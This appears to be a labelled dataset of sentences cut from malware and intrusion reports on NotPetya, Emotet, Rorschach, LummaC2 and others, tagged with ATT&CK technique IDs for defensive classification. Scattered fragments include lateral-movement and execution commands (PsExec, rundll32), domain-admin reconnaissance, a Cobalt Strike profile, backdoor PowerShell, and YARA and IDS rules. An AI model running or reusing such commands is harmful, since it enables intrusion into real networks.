{"sentence": "Executive Summary This technical analysis provides an in-depth analysis and review of NotPetya.", "labels": [], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "The following files are dropped by the malware:", "labels": [], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "The malware decompresses its resource named 0x3 of type RT_RCDATA, and writes the contents to C:\\Windows\\dllhost.dat.", "labels": ["T1140"], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "Process Hashes and Process Privilege Checks Upon being loaded, the malware starts a subroutine that hashes each running process on the system, and compares each hash with 3 hardcoded hashes: 0x6403527E → avp.exe associated with Kaspersky AV 0x23214B44 → ns.exe associated with Norton Security 0x651B3005 → ccSvcHst.exe associated with Symantec A global flag PROC_FLAG is used to track which of the 3 processes are running on the system. PROC_FLAG", "labels": ["T1057", "T1518.001"], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "= 0xFF → none PROC_FLAG", "labels": [], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "= 3 → SeShutdownPrivilege & SeDebugPrivilege PRIV_FLAG", "labels": [], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "= 7 → SeShutdownPrivilege & SeDebugPrivilege & SeTcbPrivilege These 2 flags have a considerable impact on the execution of the malware.", "labels": [], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "Upon being loaded, the module initializes and sets up a CNG provider.", "labels": [], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "Server service, which both enforces security policies and acts as the security package manager for the LSA This file extracts credentials from LSASS similar to Mimikatz.", "labels": ["T1003.001"], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "The malware attempts to gather a list of known TCP endpoints and IP addresses to check whether it can connect to the IPs via SMB ports 445 and 139.", "labels": [], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "For each client, the following occurs: Obtains the IP address from the ClientIpAddress field in the DHCP_CLIENT_INFO structure Attempts to establish a socket connection to the client IPs over ports 445 and 139 (both associated with SMB) SMB Copy and Remote Execution There are two approaches to using valid credentials to copy and execute the malware to a remote host: Token impersonation Requires the process to have “SeTchPrivilege” Stolen credentials Each of these methods will be used to do a UNC write to Admin$ and then execute the malware on the target machine.", "labels": ["T1016", "T1078", "T1210", "T1570"], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "-d C:\\Windows\\System32\\rundll32.exe “C:\\Windows\\perfc.dat”,#1 18 “”” -accepteula → This suppresses the display of the license dialog -s", "labels": [], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "The structure represents the physical location on the disk.", "labels": [], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "The next 31 sectors are then overwritten by 16-bit code that is responsible for encrypting the MFT using Salsa20 encryption Sector 32 contains the following: CRYPT_FLAG", "labels": [], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "It should be noted that this personal installation key is random in nature; and therefore there is no way to trace it back to the victim machine Sector 33 contains all 0x7’s.", "labels": [], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "This code within the MBR is responsible for loading the code which encrypts the MFT using Salsa20, displays the ransom note, and accepts the private key.", "labels": [], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": ".pmf .ppt .pptx .pst .pvi .py .pyc", "labels": [], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "It invokes CryptGenKey to generate an AES-128 key.", "labels": [], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "Path and filename of the task to be run /ST → starttime Explanation of shutdown.exe parameters:", "labels": ["T1053.005"], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "/r → reboot after shutdown /f → forces running applications to close In addition, it also invokes the API NTRaiseHardError.", "labels": ["T1106"], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "Appendix A: Indicators of Compromise (IOCs)", "labels": [], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "File: Dropper / Payload Size: 362360 MD5: 71B6A493388E7D0B40C83CE903BC6B04 SHA256: 027CC450EF5F8C5F653329641EC1FED91F694E0D229928963B30F6B0D7D3A745 Compiled: Sun, Jun 18 2017, 7:14:36 – 32-bit DLL Signature Corrupt Subject: Microsoft Corporation Issuer: Microsoft Code Signing PCA", "labels": [], "doc_title": "NotPetya Technical Analysis A Triple Threat File Encryption MFT Encryption Credential Theft"} {"sentence": "Familiar Patterns Target Southeast Asian Firms url: https://www.trendmicro.com/en_us/research/23/b/earth-zhulong-familiar-patterns-target-southeast-asian-firms.html Cyber Crime Earth Zhulong:", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"} {"sentence": "In this article, we unravel their new tactics, techniques and procedures that they apply on their misdeeds.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"} {"sentence": "In early 2022, we further discovered that Earth Zhulong abused group policy objects (GPO) to install loaders and launch Cobalt Strike on their target hosts.", "labels": ["T1484.001"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"} {"sentence": "Compared to old variants, code structure in the latest variant is dramatically different and there are few shared features between old and the latest variant.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"} {"sentence": "We believe the relationship found in this research could bring this notorious hacking group back to public sight and the findings here will be helpful to future research on hacker groups which are active in Southeast Asia.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"} {"sentence": "Malicious macro embedded in the document Figure 3.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"} {"sentence": "Cleaned content of co.ps1 Earth Zhulong adopted DLL sideloading techniques to run their malware.", "labels": ["T1574.002"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"} {"sentence": "Loader prior to 2020 (Variant 1)", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"} {"sentence": "They changed the decryption function into RC4 instead of the original XOR, but the code structure was basically the same as the previous variant.", "labels": ["T1140"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"} {"sentence": "Network configuration was defined in another configuration file, and it would be loaded when running the backdoor.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"} {"sentence": "With this tool, the attackers are able to bypass the firewall and access the machine in a restricted network.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"} {"sentence": "Since EarthWorm has become more common, security vendors also provide solutions to detect this powerful tool.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"} {"sentence": "Oracle connection config and SQL command for information dump Figure 15.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"} {"sentence": "It is worth noting that they also corrupt their shellcode loader by wiping out the header of the file, seen in Figure 15.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"} {"sentence": "Left is the corrupted ShellFang and the right one is the normal one.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"} {"sentence": "In 2016, 1937CN was suspected to attack Noi Bai and Tan Son Nhat airports in Vietnam, hijacking the flight information screens to broadcast anti-Vietnamese and anti-Philippines propaganda.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"} {"sentence": "In 2017, Fortinet also revealed their campaign targeting Vietnamese organizations by using a weaponized RTF document.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"} {"sentence": "Based on the victimology and usage of a highly similar decryption algorithm, we believe that Earth Zhulong is related to the hacking group known as “1937CN”.", "labels": ["T1140"], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"} {"sentence": "Indicators of compromise (IOCs) Download the full list of IOCs here.", "labels": [], "doc_title": "Earth Zhulong Familiar Patterns Target Southeast Asian Firms"} {"sentence": "The TinyNote backdoor is distributed with names related to foreign affairs matters, and likely targets Southeast and East Asian embassies.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Interestingly, the folder with the backdoor contained two other tools: Autoruns by Sysinternals, and HRSWord, which is a part of the Chinese Huorong Network Technology protection suite, and is often used by various actors to disable endpoint protection tools.", "labels": ["T1562.001"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "The TinyNote backdoor is a basic remote shell, limited in capabilities: it enables the actors to fingerprint the infected machine, set up persistence, and establish two different ways to execute commands received from the C&C server.", "labels": ["T1059.003"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Figure 2 – A piece of malware code creates a specially crafted window to bypass the smadAV.", "labels": ["T1106"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Backdoor execution flow The malware creates a mutex named NASA&USA and then continues execution according to one of two modes of operation.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "public static extern bool ShowWindow(int handle, int stat);';add-type -name win -member $WindowState -namespace native;[native.win]::ShowWindow(([System.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Diagnostics.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "ServicePoint.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "CurrentConnections -ge 10000) { $req.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Expect100Continue = $false; #$req.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Attribution", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "IOCs f0b081ca58b6c253aa0014847c62dbad 6a2204b32a60aed0a3403c63ad2a529c 5.188.33[.]190 103.169.90[.]132 103.159.132[.]91 23.106.123[.]59 Check Point Customers remain protected: Threat Emulation provides comprehensive coverage of attack tactics, file types, and operating systems, powered by ThreatCloud AI – the brain behind all of Check Point’s Security.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Those two facts, rarities in the ransomware ecosystem, piqued CPR interest and prompted us to thoroughly analyze the newly discovered malware.", "labels": [], "doc_title": "Rorschach A New Sophisticated and Fast Ransomware Check Point Research"} {"sentence": "In addition, it’s extremely flexible, operating not only based on a built-in configuration but also on numerous optional arguments which allow it to change its behavior according to the operator’s needs.", "labels": [], "doc_title": "Rorschach A New Sophisticated and Fast Ransomware Check Point Research"} {"sentence": "While it seems to have taken inspiration from some of the most infamous ransomware families, it also contains unique functionalities, rarely seen among ransomware, such as the use of direct syscalls.", "labels": [], "doc_title": "Rorschach A New Sophisticated and Fast Ransomware Check Point Research"} {"sentence": "config.ini – Encrypted Rorschach ransomware which contains all the logic and configuration.", "labels": [], "doc_title": "Rorschach A New Sophisticated and Fast Ransomware Check Point Research"} {"sentence": "Upon execution of cy.exe, due to DLL side-loading, the loader/injector winutils.dll is loaded into memory and runs in the context of cy.exe.", "labels": ["T1574.002"], "doc_title": "Rorschach A New Sophisticated and Fast Ransomware Check Point Research"} {"sentence": "The main Rorschach payload config.ini is subsequently loaded into memory as well, decrypted and injected into notepad.exe, where the ransomware logic begins.", "labels": ["T1055", "T1140"], "doc_title": "Rorschach A New Sophisticated and Fast Ransomware Check Point Research"} {"sentence": "The ransomware uses this technique to run the following operations:", "labels": [], "doc_title": "Rorschach A New Sophisticated and Fast Ransomware Check Point Research"} {"sentence": "Delete shadow volumes and backups to harden recovery, using legitimate Windows tools such as vssadmin.exe, bcdedit.exe, wmic.exe, and wbadmin.exe Run wevutil.exe to clear the following Windows event logs: Application, Security, System and Windows Powershell.", "labels": ["T1562.001"], "doc_title": "Rorschach A New Sophisticated and Fast Ransomware Check Point Research"} {"sentence": "The ransomware creates another group policy in an attempt to kill a list of predefined list of processes.", "labels": ["T1484.001"], "doc_title": "Rorschach A New Sophisticated and Fast Ransomware Check Point Research"} {"sentence": "Binary and Anti-Analysis Protection", "labels": [], "doc_title": "Rorschach A New Sophisticated and Fast Ransomware Check Point Research"} {"sentence": "However, this is changed in such a way that it isn’t readily unpacked using standard solutions and requires manual unpacking.", "labels": [], "doc_title": "Rorschach A New Sophisticated and Fast Ransomware Check Point Research"} {"sentence": "It makes direct system calls using the “syscall” instruction.", "labels": ["T1106"], "doc_title": "Rorschach A New Sophisticated and Fast Ransomware Check Point Research"} {"sentence": "While previously observed in other strains of malware, it’s quite startling to see this in ransomware.", "labels": [], "doc_title": "Rorschach A New Sophisticated and Fast Ransomware Check Point Research"} {"sentence": "When needed, it calls a stub routine that uses the number directly with the syscall instruction instead of using the NT API.", "labels": ["T1106"], "doc_title": "Rorschach A New Sophisticated and Fast Ransomware Check Point Research"} {"sentence": "The example below shows how the syscall numbers are used: Figure 5 – Example use of direct syscall.", "labels": ["T1027", "T1106"], "doc_title": "Rorschach A New Sophisticated and Fast Ransomware Check Point Research"} {"sentence": "In addition to the hardcoded configuration, the ransomware comes with multiple built-in options, probably for the operators comfort.", "labels": [], "doc_title": "Rorschach A New Sophisticated and Fast Ransomware Check Point Research"} {"sentence": "The WinAPI CryptGenRandom is utilized to generate cryptographically random bytes used as a per-victim private key.", "labels": ["T1106"], "doc_title": "Rorschach A New Sophisticated and Fast Ransomware Check Point Research"} {"sentence": "Analysis of Rorschach’s encryption routine suggests not only the fast encryption scheme mentioned previously but also a highly effective implementation of thread scheduling via I/O completion ports.", "labels": [], "doc_title": "Rorschach A New Sophisticated and Fast Ransomware Check Point Research"} {"sentence": "Technical Similarity to Other Ransomware", "labels": [], "doc_title": "Rorschach A New Sophisticated and Fast Ransomware Check Point Research"} {"sentence": "When we compared Rorschach to other well-known ransomware families, we noticed that Rorschach uses a variety of time-honored methods together with some novel ideas in the ransomware industry.", "labels": [], "doc_title": "Rorschach A New Sophisticated and Fast Ransomware Check Point Research"} {"sentence": "Ransom Notes As we noted, Rorschach does not exhibit any clear-cut overlaps with any of the known ransomware groups but does appear to draw inspiration from some of them.", "labels": [], "doc_title": "Rorschach A New Sophisticated and Fast Ransomware Check Point Research"} {"sentence": "Harmony Endpoint provides runtime protection against ransomware with instant automated remediation, even in offline mode.", "labels": [], "doc_title": "Rorschach A New Sophisticated and Fast Ransomware Check Point Research"} {"sentence": "ExplorerMozillaMozilla FirefoxNETLOGONntldrntuser.datNTUSER.DATntuser.dat.logntuser.dat.", "labels": [], "doc_title": "Rorschach A New Sophisticated and Fast Ransomware Check Point Research"} {"sentence": "While Data Execution Prevention (DEP) has been engineered to block plain code injection attacks from specific memory areas, attackers have quickly adapted and instead of injecting an entire code payload, they resorted in reusing multiple code chunks from DEP-allowed memory pages, called ROP gadgets.", "labels": ["T1055"], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Forward-edge CFI, like Microsoft CFG, protects indirect function calls through the use of verified function addresses.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Intel CET has been designed to mitigate ROP attacks through both the Shadow Stack and COP/JOP via Indirect Branch Tracking (IBT).", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "CET internals have been documented extensively in previous researches [6][7] and we have already demonstrated how the mitigation works and on which major software CET has been deployed.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "The technique has not been observed implemented in the wild or in disclosed exploits.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "As no specific tools exist today to discover vfgadgets, they can be found through custom scripts such as IDAPython, using a process similar to ROP gadget discovery.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Once the registers are populated by one or more Argument Loaders, an Invoker vfgadget can be called to simply execute the function pointer of the target API.", "labels": ["T1055"], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Collectors are gadgets that retrieve a value already present in a register, and save it back into the attacker’s counterfeit object (i.e. as a returned value from an invoked API).", "labels": ["T1055"], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "In order to better understand a COOP attack, let’s start by analyzing the main vfgadget, the Looper.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Once the call returns, a new vfgadget is loaded at offset 0x20 from the previous gadget and if the content of RBX is not zero, a new iteration of the loop takes place.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "The COOP buffer in memory Here, 00000227`26cd8900 is the base address of our COOP payload, which is stored at offset 0x40 from the this pointer (RCX).", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "On the next loop iteration the Looper repeats the same task by loading a pointer at offset 0x20 from the previous one and ultimately invokes the second vfgadget.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "When we hit the trigger for the vulnerability, a vtable pointer gets corrupted by our input, leading to an indirect call that we have control over.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "The helper shows two simple use-cases but this can be of course expanded to invoke any CFG-allowed API (if the application is compiled with it).", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Since Windows DLLs will load at a random base address, it is required to calculate the desired API’s address beforehand.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "public: virtual void trigger(char* a1) { callback(a); } }; The ‘trigger’ method from which we derive the vfgadget The class OffSec present in the project contains a trigger method which acts as a C-style function pointer that we can abuse to invoke any API we like, as we’ll see shortly.", "labels": ["T1106"], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Once started, the application halts immediately, allowing us to attach the debugger to it.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "0:000> coop!OffSec::trigger: 00000001`400186a0 4889542410 mov qword ptr", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Loading WinExec parameters from the ‘this’ pointer First, at offset 0x10 we can see that WinExec address is loaded into RAX and then, three instructions later, the command parameter gets retrieved at offset 0x8.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Windows net commands were run, targeting domain groups and computers, nltest was executed again, and they also used tasklist and ping to investigate a remote host.", "labels": ["T1057", "T1059.003"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "This beacon was then successfully executed via WMI and connected successfully to the threat actors server.", "labels": ["T1047"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "After this the threat actors went silent until the eighth and final day of the intrusion.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "After establishing a connection using Anydesk, the threat actors then dropped SoftPerfect’s Network Scanner and ran it to identify hosts across the environment.", "labels": ["T1021.001", "T1105"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "From there, the threat actors began connecting to other hosts via RDP, including the a backup server.", "labels": ["T1021.001"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "After choosing a new server and connecting via RDP, the threat actors dropped Powertool64.exe and dontsleep.exe in preparation for their final actions.", "labels": ["T1021.001", "T1105"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "More information on this service and others can be found here.", "labels": ["T1090"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Almost all the instances of Emotet included three enumeration commands executed: systeminfo ipconfig /all", "labels": ["T1016", "T1082"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "The following diagram aims to provide an illustration of the execution chain with multiple instances of Emotet leading to Cobalt Strike.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "As a byproduct of execution, PowerTool will drop a driver to disk and load it into the system.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "北京华林保软件技术有限公司 Indicator Removal The threat actor was observed deleting files that had been dropped to disk.", "labels": ["T1027"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Credential Access Process access to LSASS was observed, likely to dump credentials from a process that was injected with Cobalt Strike.", "labels": ["T1003.001", "T1055"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "net group /domain", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "\"Domain controllers\" net group \"domain admins\" /domain nltest /trusted_domains", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "The remnants of Invoke-ShareFinder could also be seen on the network through the consistent querying of “ADMIN$” and “C$” shares for each host over a short period of time.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "In addition to these shares, a few shares from the file servers were also accessed.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "find.exe -f", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "C:\\Windows\\System32\\cmd.exe /c rundll32.exe C:\\ProgramData\\x86.dll, StartA WMI", "labels": ["T1059.003", "T1218.011"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Later the threat actor viewed the stolen files off network, observed by triggered canary tokens, which revealed connections from an AWS EC2 instance. Command and Control Emotet The Emotet loader pulled the main second stage payload from the following domains:", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Both HTTP and HTTPS were observed to be used.", "labels": ["T1071.001"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "[], \"headers\": [] }, \"verb\": \"GET\", \"uri\": \"/jquery-3.3.1.min.js\" }, \"cfg_caution\": false, \"host_header\": \"\", \"crypto_scheme\": \"0\", \"http_post\": { \"client\": { \"output\": [], \"id\": [], \"headers\": [] }, \"verb\": \"POST\", \"uri\": \"/jquery-3.3.2.min.js\" } } Tactical RMM Agent The threat actor dropped a Tactical RMM Agent on one of the servers as an alternative command and control avenue to access the network.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "This domain was registered very close to the timeline of this incident.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "The following process activity was observed from meshagent.exe.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Impact Spam Email During the first two days, Emotet sent outbound spam emails over SMTP:", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Once establishing the RDP connection, they deployed Powertool64.exe, likely to prevent intervention by any security tools and launched the software Don’t Sleep.", "labels": ["T1021.001"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "/nolog /shareall", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Tactical RMM Agent was installed by the threat actor on a server to ensure remote access (17jun.exe).", "labels": ["T1219"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "to MEGA Userstorage ET POLICY SMB Executable File Transfer ET POLICY SMB2 NT Create AndX Request For a DLL File - Possible Lateral Movement ET POLICY SMB2 NT Create AndX Request For an Executable File ET POLICY SSL/TLS Certificate Observed (AnyDesk Remote Desktop Software) ET SCAN Behavioral Unusual Port 445 traffic Potential Scan or Infection ET USER_AGENTS", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "{ meta: description = \"15184_ - file 17jun.exe\" author = \"The DFIR Report\" reference = \"https://thedfirreport.com\" date = \"2022-11-28\" hash1 = \"41e230134deca492704401ddf556ee2198ef6f32b868ec626d9aefbf268ab6b1\" strings: $x1 = \" to unallocated span37252902984619140625Arabic Standard TimeAzores Standard TimeCertOpenSystemStoreWCreateProcessAsUserWCryptAcq\" ascii $x2 = \"0123456789abcdefghijklmnopqrstuvwxyz444089209850062616169452667236328125ERROR: unable to download agent fromGo pointer stored in\" ascii $x3 = \".lib section in a.out corrupted11368683772161602973937988281255684341886080801486968994140625CLIENT_HANDSHAKE_TRAFFIC_SECRETCent\" ascii $x4 = \"slice bounds out of range [:", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "ValueECDSA-SHA256ECDSA-SH\" ascii $x12 = \"entersyscallexit status gcBitsArenasgcpacertracegetaddrinfowhost is downhttp2debug=1http2debug=2illegal seekinvalid baseinvalid \" ascii $x13 = \"streamSafe was not resetstructure needs cleaningtext/html; charset=utf-8unexpected buffer len=%vx509: malformed validityzlib: in\" ascii $x14 = \"IP addressInstaller:Keep-AliveKharoshthiLockFileExManichaeanMessage-IdNo ContentOld_ItalicOld_PermicOld_TurkicOther_MathPOSTALCO\" ascii $x15 = \" to non-Go memory , locked to thread298023223876953125: day out of rangeArab Standard TimeCaucasian_AlbanianCommandLineToArgvWCr\" ascii $x16 = \"= flushGen for type gfreecnt= pages at runqsize= runqueue= s.base()= spinning= stopwait= stream=%d sweepgen sweepgen= target\" ascii $x17 = \"(unknown), newval=, oldval=, plugin:, size = , tail = --site-id244140625: status=AuthorityBassa_VahBhaiksukiClassINETCuneiformDi\" ascii $x18 = \" is unavailable()<>@,;:\\\\\\\"/[]?=,M3.2.0,M11.1.00601021504Z0700476837158203125: cannot parse ASCII_Hex_DigitAccept\" ascii $x19 = \"span set block with unpopped elements found in resettls: received a session ticket with invalid lifetimetls: server selected uns\" ascii $x20 = \"bad defer entry in panicbad defer size class:", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Goodware String - occured 1 times */ $s3 = \"H9CPtgL9{@tafD9{8tZD\" fullword ascii $s4 = \"expand 32-byte k\" fullword ascii /*", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Thus no particular symptoms are clearly visible on an infected machine.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"} {"sentence": "The LummaC2 stealer begins its operations by obtaining relevant device data, such as OS version and architecture, hardware ID, CPU, RAM, screen resolution, system language, etc.", "labels": ["T1082"], "doc_title": "Malware Analysis LummaC2 Stealer"} {"sentence": "Browsers targeted by LummaC2: Chrome, Chromium, Mozilla Firefox, Microsoft Edge, Brave, Kometa, Opera GX Stable, Opera Neon, Opera Stable, Vivaldi, and others.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"} {"sentence": "This stealer may acquire browsing histories, Internet cookies, usernames/passwords, personally identifiable details, credit card numbers, and other highly sensitive information from browsers.", "labels": ["T1005", "T1078"], "doc_title": "Malware Analysis LummaC2 Stealer"} {"sentence": "Anti-Debugger control is provided with “IsDebuggerPresent” API.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"} {"sentence": "The anti-debugger bypass technique will be done during dynamic analysis.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"} {"sentence": "The below figure shows the code snippet of stealers targeting crypto wallets.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"} {"sentence": "Here are the obfuscated collections.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"} {"sentence": "The stealer has many obfuscated strings that are being covered by a random string, “edx765“, to evade detection.", "labels": ["T1027"], "doc_title": "Malware Analysis LummaC2 Stealer"} {"sentence": "Host: 195[.]123[.]226[.]91/c2sock One of the parts that will complicate the analysis processes that will perform the termination process has appeared again.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"} {"sentence": "We ran the LummaC2 instance directly in the virtual environment and monitored its activity.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"} {"sentence": "Making a ‘POST’ request, tmp.exe is trying to pass information.", "labels": ["T1071.001"], "doc_title": "Malware Analysis LummaC2 Stealer"} {"sentence": "When we examine the packet’s content captured with WireShark, we see a “PK” header.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"} {"sentence": "Content-Disposition: form-data; name=”hwid” 